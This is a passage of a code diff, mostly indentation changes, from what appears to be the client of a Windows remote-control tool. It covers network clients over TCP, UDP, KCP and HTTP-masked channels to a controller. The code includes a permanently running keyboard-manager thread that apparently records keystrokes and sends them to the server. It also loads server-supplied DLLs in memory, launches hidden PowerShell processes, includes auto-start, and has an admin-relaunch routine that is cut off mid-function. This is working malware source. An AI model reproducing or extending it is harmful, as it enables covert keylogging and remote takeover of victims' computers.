for (; i < 1000 && !m_Manager->IsReady(); ++i) - Sleep(1); - if (!m_Manager->IsReady()) { - Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0])); - return FALSE; - } - if (i) { - Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0])); - } - m_Manager->OnReceive(szBuffer, ulLength); - return TRUE; - } + static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) + { + IOCPManager* m_Manager = (IOCPManager*)user; + if (nullptr == m_Manager) { + Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0])); + return FALSE; + } + // ȴ׼ܴ, 1㹻 + int i = 0; + for (; i < 1000 && !m_Manager->IsReady(); ++i) + Sleep(1); + if (!m_Manager->IsReady()) { + Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0])); + return FALSE; + } + if (i) { + Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0])); + } + m_Manager->OnReceive(szBuffer, ulLength); + return TRUE; + } }; typedef BOOL(*TrailCheck)(void); @@ -112,94 +136,107 @@ typedef BOOL(*TrailCheck)(void); class IOCPClient : public IOCPBase { public: - IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, - const std::string&pubIP=""); - virtual ~IOCPClient(); + IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, + const std::string&pubIP=""); + virtual ~IOCPClient(); - int SendLoginInfo(const LOGIN_INFOR& logInfo) { - LOGIN_INFOR tmp = logInfo; - int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR)); + int SendLoginInfo(const LOGIN_INFOR& logInfo) + { + LOGIN_INFOR tmp = logInfo; + int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR)); - return iRet; - } - virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort); + return iRet; + } + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort); - std::string GetClientIP() const { - return m_sLocPublicIP; - } + std::string GetClientIP() const + { + return m_sLocPublicIP; + } - std::map GetClientIPHeader() const { - return m_sLocPublicIP.empty() ? std::map{} : - std::map{ {"X-Forwarded-For", m_sLocPublicIP} }; - } + std::map GetClientIPHeader() const + { + return m_sLocPublicIP.empty() ? std::map {} : + std::map { {"X-Forwarded-For", m_sLocPublicIP} }; + } - BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) { - return OnServerSending(szBuffer, ulOriginalLength, mask); - } + BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) + { + return OnServerSending(szBuffer, ulOriginalLength, mask); + } - void SetServerAddress(const char* szServerIP, unsigned short uPort) { - m_Domain = szServerIP ? szServerIP : "127.0.0.1"; - m_nHostPort = uPort; - } + void SetServerAddress(const char* szServerIP, unsigned short uPort) + { + m_Domain = szServerIP ? szServerIP : "127.0.0.1"; + m_nHostPort = uPort; + } - BOOL IsRunning() const - { - return m_bIsRunning; - } + BOOL IsRunning() const + { + return m_bIsRunning; + } - void SetExit() { - m_bIsRunning = FALSE; - } + void SetExit() + { + m_bIsRunning = FALSE; + } - VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess); - VOID RunEventLoop(TrailCheck checker); - VOID RunEventLoop(const BOOL &bCondition); - bool IsConnected() const { return m_bConnected == TRUE; } - BOOL Reconnect(void* manager) { - Disconnect(); - if (manager) m_Manager = manager; - return ConnectServer(NULL, 0); - } - const State& GetState() const { - return g_bExit; - } + VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess); + VOID RunEventLoop(TrailCheck checker); + VOID RunEventLoop(const BOOL &bCondition); + bool IsConnected() const + { + return m_bConnected == TRUE; + } + BOOL Reconnect(void* manager) + { + Disconnect(); + if (manager) m_Manager = manager; + return ConnectServer(NULL, 0); + } + const State& GetState() const + { + return g_bExit; + } protected: - virtual int ReceiveData(char* buffer, int bufSize, int flags) { - // TCP汾 recv - return recv(m_sClientSocket, buffer, bufSize - 1, 0); - } - virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); - virtual VOID Disconnect(); // ֧ TCP/UDP - virtual int SendTo(const char* buf, int len, int flags) { - return ::send(m_sClientSocket, buf, len, flags); - } - BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask); - static DWORD WINAPI WorkThreadProc(LPVOID lParam); - VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength); - BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask); + virtual int ReceiveData(char* buffer, int bufSize, int flags) + { + // TCP汾 recv + return recv(m_sClientSocket, buffer, bufSize - 1, 0); + } + virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); + virtual VOID Disconnect(); // ֧ TCP/UDP + virtual int SendTo(const char* buf, int len, int flags) + { + return ::send(m_sClientSocket, buf, len, flags); + } + BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask); + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength); + BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask); protected: - sockaddr_in m_ServerAddr; - SOCKET m_sClientSocket; - BOOL m_bWorkThread; - HANDLE m_hWorkThread; - BOOL m_bIsRunning; - BOOL m_bConnected; + sockaddr_in m_ServerAddr; + SOCKET m_sClientSocket; + BOOL m_bWorkThread; + HANDLE m_hWorkThread; + BOOL m_bIsRunning; + BOOL m_bConnected; #if USING_CTX - ZSTD_CCtx* m_Cctx; // ѹ - ZSTD_DCtx* m_Dctx; // ѹ + ZSTD_CCtx* m_Cctx; // ѹ + ZSTD_DCtx* m_Dctx; // ѹ #endif - const State& g_bExit; // ȫ״̬ - void* m_Manager; // û - DataProcessCB m_DataProcess; // û - ProtocolEncoder* m_Encoder; // - DomainPool m_Domain; - std::string m_sCurIP; - int m_nHostPort; - bool m_exit_while_disconnect; - PkgMask* m_masker; - BOOL m_EncoderType; - std::string m_sLocPublicIP; + const State& g_bExit; // ȫ״̬ + void* m_Manager; // û + DataProcessCB m_DataProcess; // û + ProtocolEncoder* m_Encoder; // + DomainPool m_Domain; + std::string m_sCurIP; + int m_nHostPort; + bool m_exit_while_disconnect; + PkgMask* m_masker; + BOOL m_EncoderType; + std::string m_sLocPublicIP; }; diff --git a/client/IOCPKCPClient.cpp b/client/IOCPKCPClient.cpp index f7cab09..9e8b353 100644 --- a/client/IOCPKCPClient.cpp +++ b/client/IOCPKCPClient.cpp @@ -4,115 +4,115 @@ #include IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect) - : IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false) + : IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false) { } IOCPKCPClient::~IOCPKCPClient() { - running_ = false; - if (updateThread_.joinable()) - updateThread_.join(); + running_ = false; + if (updateThread_.joinable()) + updateThread_.join(); - if (kcp_) - ikcp_release(kcp_); + if (kcp_) + ikcp_release(kcp_); } BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { - BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort); - if (!ret) - return FALSE; + BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort); + if (!ret) + return FALSE; - // ʼKCP - uint32_t conv = KCP_SESSION_ID; // conv Ҫƥ - kcp_ = ikcp_create(conv, this); - if (!kcp_) - return FALSE; + // ʼKCP + uint32_t conv = KCP_SESSION_ID; // conv Ҫƥ + kcp_ = ikcp_create(conv, this); + if (!kcp_) + return FALSE; - // KCP - ikcp_nodelay(kcp_, 1, 40, 2, 0); - kcp_->rx_minrto = 30; - kcp_->snd_wnd = 128; - kcp_->rcv_wnd = 128; + // KCP + ikcp_nodelay(kcp_, 1, 40, 2, 0); + kcp_->rx_minrto = 30; + kcp_->snd_wnd = 128; + kcp_->rcv_wnd = 128; - // ÷ͻصKCPʱã - kcp_->output = IOCPKCPClient::kcpOutput; + // ÷ͻصKCPʱã + kcp_->output = IOCPKCPClient::kcpOutput; - running_ = true; - updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this); - m_bConnected = TRUE; + running_ = true; + updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this); + m_bConnected = TRUE; - return TRUE; + return TRUE; } // UDPհ̵߳ãյUDPKCPٳԶȡӦð int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags) { - // ȵûUDPԭʼ - char udpBuffer[1500] = { 0 }; - int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags); - if (recvLen <= 0) - return recvLen; + // ȵûUDPԭʼ + char udpBuffer[1500] = { 0 }; + int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags); + if (recvLen <= 0) + return recvLen; - // KCPЭջ - int inputRet = ikcp_input(kcp_, udpBuffer, recvLen); - if (inputRet < 0) - return -1; + // KCPЭջ + int inputRet = ikcp_input(kcp_, udpBuffer, recvLen); + if (inputRet < 0) + return -1; - // KCPжȡӦòݣдbuffer - int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize); - return kcpRecvLen; // >0ʾյӦݣ0ʾ + // KCPжȡӦòݣдbuffer + int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize); + return kcpRecvLen; // >0ʾյӦݣ0ʾ } -bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) { - int iReceivedLength = ReceiveData(szBuffer, len, flag); - if (iReceivedLength <= 0) - {} - else { - szBuffer[iReceivedLength] = 0; - //ȷվ͵OnRead,תOnRead - OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); - } - return true; +bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) +{ + int iReceivedLength = ReceiveData(szBuffer, len, flag); + if (iReceivedLength <= 0) + {} + else { + szBuffer[iReceivedLength] = 0; + //ȷվ͵OnRead,תOnRead + OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); + } + return true; } // ӦòʱãתKCPЭջ int IOCPKCPClient::SendTo(const char* buf, int len, int flags) { - if (!kcp_) - return -1; + if (!kcp_) + return -1; - int ret = ikcp_send(kcp_, buf, len); - if (ret < 0) - return -1; + int ret = ikcp_send(kcp_, buf, len); + if (ret < 0) + return -1; - // flushӿ췢 - ikcp_flush(kcp_); - return ret; + // flushӿ췢 + ikcp_flush(kcp_); + return ret; } // KCPݻصKCPɵUDPͳȥ int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user) { - IOCPKCPClient* client = reinterpret_cast(user); - if (client->m_sClientSocket == INVALID_SOCKET) - return -1; + IOCPKCPClient* client = reinterpret_cast(user); + if (client->m_sClientSocket == INVALID_SOCKET) + return -1; - int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr)); - if (sentLen == len) - return 0; - else - return -1; + int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr)); + if (sentLen == len) + return 0; + else + return -1; } // ̶߳ʱikcp_updateKCPЭ void IOCPKCPClient::KCPUpdateLoop() { - while (running_ && !g_bExit) - { - IUINT32 current = GetTickCount64(); - ikcp_update(kcp_, current); - std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20msڣ - } + while (running_ && !g_bExit) { + IUINT32 current = GetTickCount64(); + ikcp_update(kcp_, current); + std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20msڣ + } } diff --git a/client/IOCPKCPClient.h b/client/IOCPKCPClient.h index 6749062..d7400ce 100644 --- a/client/IOCPKCPClient.h +++ b/client/IOCPKCPClient.h @@ -7,28 +7,28 @@ class IOCPKCPClient : public IOCPUDPClient { public: - IOCPKCPClient(State& bExit, bool exit_while_disconnect = false); - virtual ~IOCPKCPClient(); + IOCPKCPClient(State& bExit, bool exit_while_disconnect = false); + virtual ~IOCPKCPClient(); - virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; - // дպUDPݸKCPKCP - virtual int ReceiveData(char* buffer, int bufSize, int flags) override; + // дպUDPݸKCPKCP + virtual int ReceiveData(char* buffer, int bufSize, int flags) override; - virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override; + virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override; - // дͺӦͨKCP - virtual int SendTo(const char* buf, int len, int flags) override; + // дͺӦͨKCP + virtual int SendTo(const char* buf, int len, int flags) override; private: - // KCPݵĻصUDPsendto - static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user); + // KCPݵĻصUDPsendto + static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user); - // ʱikcp_update̺߳ - void KCPUpdateLoop(); + // ʱikcp_update̺߳ + void KCPUpdateLoop(); private: - ikcpcb* kcp_; - std::thread updateThread_; - std::atomic running_; + ikcpcb* kcp_; + std::thread updateThread_; + std::atomic running_; }; diff --git a/client/IOCPUDPClient.cpp b/client/IOCPUDPClient.cpp index 53c2d55..6910282 100644 --- a/client/IOCPUDPClient.cpp +++ b/client/IOCPUDPClient.cpp @@ -1,63 +1,66 @@ #include "IOCPUDPClient.h" -BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { - if (szServerIP != NULL && uPort != 0) { - SetServerAddress(szServerIP, uPort); - } - m_sCurIP = m_Domain.SelectIP(); - unsigned short port = m_nHostPort; +BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) +{ + if (szServerIP != NULL && uPort != 0) { + SetServerAddress(szServerIP, uPort); + } + m_sCurIP = m_Domain.SelectIP(); + unsigned short port = m_nHostPort; - // UDP socket - m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (m_sClientSocket == INVALID_SOCKET) { - Mprintf("Failed to create UDP socket\n"); - return FALSE; - } + // UDP socket + m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (m_sClientSocket == INVALID_SOCKET) { + Mprintf("Failed to create UDP socket\n"); + return FALSE; + } - // ʼַṹ - memset(&m_ServerAddr, 0, sizeof(m_ServerAddr)); - m_ServerAddr.sin_family = AF_INET; - m_ServerAddr.sin_port = htons(port); + // ʼַṹ + memset(&m_ServerAddr, 0, sizeof(m_ServerAddr)); + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); #ifdef _WIN32 - m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); + m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); #else - if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { - Mprintf("Invalid address or address not supported\n"); - closesocket(m_sClientSocket); - m_sClientSocket = INVALID_SOCKET; - return FALSE; - } + if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { + Mprintf("Invalid address or address not supported\n"); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + return FALSE; + } #endif - // UDP connect()Ҳ TCP keep-alive ѡ + // UDP connect()Ҳ TCP keep-alive ѡ - // ̣߳Ҫ - if (m_hWorkThread == NULL) { + // ̣߳Ҫ + if (m_hWorkThread == NULL) { #ifdef _WIN32 - m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); - m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); + m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; #else - pthread_t id = 0; - m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); + pthread_t id = 0; + m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); #endif - } + } - Mprintf("UDP client socket created and ready to send.\n"); - m_bConnected = TRUE; - return TRUE; + Mprintf("UDP client socket created and ready to send.\n"); + m_bConnected = TRUE; + return TRUE; } -int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) { - sockaddr_in fromAddr; - int fromLen = sizeof(fromAddr); - return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen); +int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) +{ + sockaddr_in fromAddr; + int fromLen = sizeof(fromAddr); + return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen); } -int IOCPUDPClient::SendTo(const char* buf, int len, int flags) { - if (len > 1200) { - Mprintf("UDP large packet may lost: %d bytes\n", len); - } - return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)); +int IOCPUDPClient::SendTo(const char* buf, int len, int flags) +{ + if (len > 1200) { + Mprintf("UDP large packet may lost: %d bytes\n", len); + } + return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)); } diff --git a/client/IOCPUDPClient.h b/client/IOCPUDPClient.h index eb4c3cd..9d97c00 100644 --- a/client/IOCPUDPClient.h +++ b/client/IOCPUDPClient.h @@ -4,13 +4,13 @@ class IOCPUDPClient : public IOCPClient { public: - IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){} + IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect) {} - virtual ~IOCPUDPClient(){} + virtual ~IOCPUDPClient() {} - virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; - virtual int ReceiveData(char* buffer, int bufSize, int flags) override; + virtual int ReceiveData(char* buffer, int bufSize, int flags) override; - virtual int SendTo(const char* buf, int len, int flags) override; + virtual int SendTo(const char* buf, int len, int flags) override; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 551584f..1d75e38 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,30 +18,32 @@ #include "auto_start.h" // UDP 协议仅能针对小包数据,且数据没有时序关联 -IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { - if (conn->protoType == PROTO_HTTPS) return NULL; +IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) +{ + if (conn->protoType == PROTO_HTTPS) return NULL; - int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; - if (!conn->IsVerified() || type == PROTO_TCP) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP); - if (type == PROTO_UDP) - return new IOCPUDPClient(bExit, exit_while_disconnect); - if (type == PROTO_HTTP || type == PROTO_HTTPS) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP); - if (type == PROTO_KCP) { - return new IOCPKCPClient(bExit, exit_while_disconnect); - } + int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; + if (!conn->IsVerified() || type == PROTO_TCP) + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP); + if (type == PROTO_UDP) + return new IOCPUDPClient(bExit, exit_while_disconnect); + if (type == PROTO_HTTP || type == PROTO_HTTPS) + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP); + if (type == PROTO_KCP) { + return new IOCPKCPClient(bExit, exit_while_disconnect); + } - return NULL; + return NULL; } -ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) { - static ThreadInfo tKeyboard; - tKeyboard.run = FOREVER_RUN; - tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP); - tKeyboard.conn = conn; - tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); - return &tKeyboard; +ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) +{ + static ThreadInfo tKeyboard; + tKeyboard.run = FOREVER_RUN; + tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP); + tKeyboard.conn = conn; + tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); + return &tKeyboard; } ////////////////////////////////////////////////////////////////////// @@ -49,646 +51,623 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub ////////////////////////////////////////////////////////////////////// CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) - : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) + : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) { - m_ulThreadCount = 0; + m_ulThreadCount = 0; #ifdef _DEBUG - m_settings = { 5 }; + m_settings = { 5 }; #else - m_settings = { 0 }; + m_settings = { 0 }; #endif - m_nNetPing = {}; - m_hKeyboard = kb; + m_nNetPing = {}; + m_hKeyboard = kb; } CKernelManager::~CKernelManager() { - Mprintf("~CKernelManager begin\n"); - int i = 0; - for (i=0;iinfo; - PluginParam pThread = dll->param; +DWORD WINAPI ExecuteDLLProc(LPVOID param) +{ + DllExecParam* dll = (DllExecParam*)param; + DllExecuteInfo info = dll->info; + PluginParam pThread = dll->param; #ifdef _DEBUG - WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); - DllRunner* runner = new DefaultDllRunner(info.Name); + WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); + DllRunner* runner = new DefaultDllRunner(info.Name); #else - DllRunner* runner = new MemoryDllRunner(); + DllRunner* runner = new MemoryDllRunner(); #endif - HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size); - if (module) { - switch (info.CallType) - { - case CALLTYPE_DEFAULT: - while (S_CLIENT_EXIT != *pThread.Exit) - Sleep(1000); - break; - case CALLTYPE_IOCPTHREAD: { - PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run"); - Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); - if (proc) { - proc(&pThread); - }else { - while (S_CLIENT_EXIT != *pThread.Exit) - Sleep(1000); - } - break; - } - default: - break; - } - runner->FreeLibrary(module); - } - else { - Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name); - } - SAFE_DELETE(dll); - SAFE_DELETE(runner); - return 0x20250529; + HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size); + if (module) { + switch (info.CallType) { + case CALLTYPE_DEFAULT: + while (S_CLIENT_EXIT != *pThread.Exit) + Sleep(1000); + break; + case CALLTYPE_IOCPTHREAD: { + PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run"); + Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); + if (proc) { + proc(&pThread); + } else { + while (S_CLIENT_EXIT != *pThread.Exit) + Sleep(1000); + } + break; + } + default: + break; + } + runner->FreeLibrary(module); + } else { + Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name); + } + SAFE_DELETE(dll); + SAFE_DELETE(runner); + return 0x20250529; } -DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { - CManager* pMgr = (CManager*)lParam; - if (pMgr) { - pMgr->Reconnect(); - pMgr->Notify(); - } - return 0xDead0001; +DWORD WINAPI SendKeyboardRecord(LPVOID lParam) +{ + CManager* pMgr = (CManager*)lParam; + if (pMgr) { + pMgr->Reconnect(); + pMgr->Notify(); + } + return 0xDead0001; } // 判断 PowerShell 版本是否 >= 3.0 -bool IsPowerShellAvailable() { - // 设置启动信息 - STARTUPINFO si = { sizeof(si) }; - PROCESS_INFORMATION pi; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // 隐藏窗口 +bool IsPowerShellAvailable() +{ + // 设置启动信息 + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // 隐藏窗口 - // 创建匿名管道以捕获 PowerShell 输出 - SECURITY_ATTRIBUTES sa = { sizeof(sa) }; - sa.bInheritHandle = TRUE; // 管道句柄可继承 + // 创建匿名管道以捕获 PowerShell 输出 + SECURITY_ATTRIBUTES sa = { sizeof(sa) }; + sa.bInheritHandle = TRUE; // 管道句柄可继承 - HANDLE hReadPipe, hWritePipe; - if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { - Mprintf("CreatePipe failed. Error: %d\n", GetLastError()); - return false; - } + HANDLE hReadPipe, hWritePipe; + if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { + Mprintf("CreatePipe failed. Error: %d\n", GetLastError()); + return false; + } - // 设置标准输出和错误输出到管道 - si.hStdOutput = hWritePipe; - si.hStdError = hWritePipe; - si.dwFlags |= STARTF_USESTDHANDLES; + // 设置标准输出和错误输出到管道 + si.hStdOutput = hWritePipe; + si.hStdError = hWritePipe; + si.dwFlags |= STARTF_USESTDHANDLES; - // 构造 PowerShell 命令 - std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\""; - // 创建 PowerShell 进程 - if (!CreateProcess( - nullptr, // 不指定模块名(使用命令行) - (LPSTR)command.c_str(), // 命令行参数 - nullptr, // 进程句柄不可继承 - nullptr, // 线程句柄不可继承 - TRUE, // 继承句柄 - CREATE_NO_WINDOW, // 不显示窗口 - nullptr, // 使用父进程环境块 - nullptr, // 使用父进程工作目录 - &si, // 启动信息 - &pi // 进程信息 - )) { - Mprintf("CreateProcess failed. Error: %d\n", GetLastError()); - CloseHandle(hReadPipe); - CloseHandle(hWritePipe); - return false; - } + // 构造 PowerShell 命令 + std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\""; + // 创建 PowerShell 进程 + if (!CreateProcess( + nullptr, // 不指定模块名(使用命令行) + (LPSTR)command.c_str(), // 命令行参数 + nullptr, // 进程句柄不可继承 + nullptr, // 线程句柄不可继承 + TRUE, // 继承句柄 + CREATE_NO_WINDOW, // 不显示窗口 + nullptr, // 使用父进程环境块 + nullptr, // 使用父进程工作目录 + &si, // 启动信息 + &pi // 进程信息 + )) { + Mprintf("CreateProcess failed. Error: %d\n", GetLastError()); + CloseHandle(hReadPipe); + CloseHandle(hWritePipe); + return false; + } - // 关闭管道的写端 - CloseHandle(hWritePipe); + // 关闭管道的写端 + CloseHandle(hWritePipe); - // 读取 PowerShell 输出 - std::string result; - char buffer[128]; - DWORD bytesRead; - while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { - buffer[bytesRead] = '\0'; - result += buffer; - } + // 读取 PowerShell 输出 + std::string result; + char buffer[128]; + DWORD bytesRead; + while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + result += buffer; + } - // 关闭管道的读端 - CloseHandle(hReadPipe); + // 关闭管道的读端 + CloseHandle(hReadPipe); - // 等待进程结束 - WaitForSingleObject(pi.hProcess, INFINITE); + // 等待进程结束 + WaitForSingleObject(pi.hProcess, INFINITE); - // 获取退出代码 - DWORD exitCode=0; - if (!GetExitCodeProcess(pi.hProcess, &exitCode)) { - Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError()); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - return false; - } + // 获取退出代码 + DWORD exitCode=0; + if (!GetExitCodeProcess(pi.hProcess, &exitCode)) { + Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError()); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return false; + } - // 关闭进程和线程句柄 - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); + // 关闭进程和线程句柄 + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); - // 解析返回的版本号 - if (exitCode == 0) { - try { - int version = std::stoi(result); - Mprintf("PowerShell version: %d\n", version); - return version >= 3; - } - catch (...) { - Mprintf("Failed to parse PowerShell version.\n"); - return false; - } - } - else { - Mprintf("PowerShell command failed with exit code: %d\n", exitCode); - return false; - } + // 解析返回的版本号 + if (exitCode == 0) { + try { + int version = std::stoi(result); + Mprintf("PowerShell version: %d\n", version); + return version >= 3; + } catch (...) { + Mprintf("Failed to parse PowerShell version.\n"); + return false; + } + } else { + Mprintf("PowerShell command failed with exit code: %d\n", exitCode); + return false; + } } /* Windows 10/11: 👉 放心使用,可以直接运行 Windows 7: 如果 PowerShell 版本 >= 3.0,可以运行; 否则无法以管理员权限重启 */ -bool StartAdminLauncherAndExit(const char* exePath, bool admin = true) { - // 获取当前进程 ID - DWORD currentPID = GetCurrentProcessId(); +bool 